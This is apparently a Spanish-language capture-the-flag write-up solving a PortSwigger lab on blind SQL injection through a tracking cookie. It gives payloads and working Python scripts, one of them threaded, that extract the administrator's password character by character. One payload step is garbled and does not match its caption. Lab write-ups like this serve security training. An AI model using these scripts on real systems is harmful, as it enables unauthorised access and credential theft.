Blind SQL injection with conditional responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-11/
La web maneja un valor de cookie de seguimiento y realiza la query sql conteniendo el valor de la cookie, los resultados de la query sql no son retornados, pero la app incluye un mensaje de welcome si la query retorna cualquier fila. La BD contiene una tabla distinta llamads users con (username, password) como columnas.
Al agregar a la cookie lo siguiente aparece el mensaje
' AND '1'='1
con el siguiente codigo de python se puede probar inicilamente
#!/usr/bin/env python3
import requests
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'YOUR_TRACKING_ID'
payload = f'''{trackingid}PAYLOAD_HERE'''
cookie = {
'session': 'YOUR_SESSION_ID',
'TrackingId': payload
}
r = requests.get(url, cookies=cookie)
if 'Welcome back!' in r.text:
print('True')
else:
print('False')
Por ejemplo
#!/usr/bin/env python3
import requests
url = 'https://0a41009203863ad49ea7012400800088.web-security-academy.net/'
trackingid = 'SFfxwQJ3p3Lbp6Gz'
payload = f'''{trackingid}' AND '1'='1'''
cookie = {
'session': '8mQoRQFb4cEBz00OfflATFKnzRAvvE2b',
'TrackingId': payload
}
r = requests.get(url, cookies=cookie)
if 'Welcome back!' in r.text:
print('True')
else:
print('False')
Modificando el payload
payload = f'''{trackingid}' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'''
Retorna TRUE; la tabla 'users' existe
payload = f'''{trackingid}' ' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'''
Retorna TRUE; el usuario administrator existe
lugo enumeramos la longitud de la password del usuario administrator
payload = f'''{trackingid}' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'''
#!/usr/bin/env python3
import requests
from string import ascii_lowercase, digits
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'
chars = ascii_lowercase + digits
position = 1
password = ''
while True:
for character in chars:
payload = f'''{trackingid}' AND (SELECT SUBSTRING(password,{position},1) FROM users WHERE username='administrator')='{character}'''
cookie = {
'session': 'YOUR_SESSION_ID',
'TrackingId': payload
}
r = requests.get(url, cookies=cookie)
if 'Welcome back!' in r.text:
# print('True')
password += ''.join(character)
print(f'[+] Found password: {password}', end='\r')
position += 1
break
else:
# print('False')
pass
if len(password) >= 20:
print(f'[+] administrator password: {password}')
exit()
Version optimizada mediante Threads
#!/usr/bin/env python3
import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'
# Configuración
PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'YOUR_SESSION_ID'
MAX_WORKERS = 5
def check_character(position: int, character: str) -> tuple:
"""Verifica si un carácter está en la posición específica de la contraseña"""
payload = f"{trackingid}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{character}"
cookie = {
'session': SESSION_ID,
'TrackingId': payload
}
try:
response = requests.get(url, cookies=cookie, timeout=10)
return position, character, 'Welcome back!' in response.text
except requests.RequestException:
return position, character, False
def find_character(position: int) -> str:
"""Encuentra el carácter correcto para una posición usando hilos"""
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {
executor.submit(check_character, position, char): char
for char in CHARSET
}
for future in as_completed(futures):
pos, char, found = future.result()
if found:
executor.shutdown(wait=False)
return char
return None
def main():
password = []
print("[*] Iniciando extracción de contraseña...")
for position in range(1, PASSWORD_LENGTH + 1):
char = find_character(position)
if char:
password.append(char)
print(f'[+] Progreso: {"".join(password):<20}', end='\r')
else:
print(f"\n[-] Error: No se encontró carácter en posición {position}")
break
final_password = ''.join(password)
print(f'\n[+] Contraseña de administrator: {final_password}')
if __name__ == "__main__":
main()